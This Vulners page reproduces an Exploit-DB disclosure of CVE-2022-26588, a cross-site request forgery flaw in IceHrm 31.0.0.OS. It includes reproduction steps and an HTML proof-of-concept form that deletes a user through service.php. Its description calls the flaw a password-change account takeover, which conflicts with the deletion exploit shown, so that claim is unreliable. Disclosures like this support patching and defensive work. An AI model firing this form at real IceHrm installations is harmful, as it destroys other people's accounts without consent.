Lucene search
K

ICEHRM 31.0.0.0S - Cross-site Request Forgery (CSRF) to Account Deletion

🗓️ 07 Apr 2022 00:00:00Reported by Devansh BordiaType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 293 Views

ICEHRM 31.0.0.0S - CSRF Account Deletio

Related
Code
ReporterTitlePublishedViews
Family
0day.today
ICEHRM 31.0.0.0S - Cross-site Request Forgery (CSRF) to Account Deletion Vulnerability
7 Apr 202200:00
zdt
ATTACKERKB
CVE-2022-26588
8 Apr 202221:15
attackerkb
Circl
CVE-2022-26588
9 Apr 202200:13
circl
CNNVD
IceHrm 跨站请求伪造漏洞
7 Apr 202200:00
cnnvd
CVE
CVE-2022-26588
8 Apr 202220:12
cve
Cvelist
CVE-2022-26588
8 Apr 202220:12
cvelist
EUVD
EUVD-2022-31143
3 Oct 202520:07
euvd
Japan Vulnerability Notes
Multiple vulnerabilities in Buffalo network devices
8 Mar 202306:12
jvn
NVD
CVE-2022-26588
8 Apr 202221:15
nvd
Packet Storm
ICEHRM 31.0.0.0S Cross Site Request Forgery
7 Apr 202200:00
packetstorm
Rows per page
# Exploit Title: ICEHRM 31.0.0.0S - Cross-site Request Forgery (CSRF) to Account Deletion
# Date: 29/03/2022
# Exploit Author: Devansh Bordia
# Vendor Homepage: https://icehrm.com/
# Software Link: https://github.com/gamonoid/icehrm/releases/tag/v31.0.0.OS
# Version: 31.0.0.OS
#Tested on: Windows 10
# CVE: CVE-2022-26588

1. About - ICEHRM
IceHrm employee management system allows companies to centralize confidential employee information and define access permissions to authorized personnel to ensure that employee information is both secure and accessible.

2. Description:
The application has an update password feature which has a CSRF vulnerability that allows an attacker to change the password of any arbitrary user leading to an account takeover.

3. Steps To Reproduce:

1.) Now login into the application and go to users.
2.) After this add an user with the name Devansh.
3.) Now try to delete the user and intercept the request in burp suite. We can see no CSRF Token in request.
4.) Go to any CSRF POC Generator: https://security.love/CSRF-PoC-Genorator/
5.) Now generate a csrf poc for post based requests with necessary parameters.
6.) Finally open that html poc and execute in the same browser session.
7.) Now if we refresh the page, the devansh is deleted to csrf vulnerability.

4. Exploit POC (Exploit.html)

<html>
<form enctype="application/x-www-form-urlencoded" method="POST"  action="
http://localhost:8070/app/service.php">
<table>
<tr>
<td>t</td>
<td>
<input type="text" value="User" name="t">
</td>
</tr>
<tr>
<td>a</td>
<td>
<input type="text" value="delete" name="a">
</td>
</tr>
<tr>
<td>id</td>
<td>
<input type="text" value="6" name="id">
</td>
</tr>
</table>
<input type="submit" value="http://localhost:8070/app/service.php"> </form>
</html>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation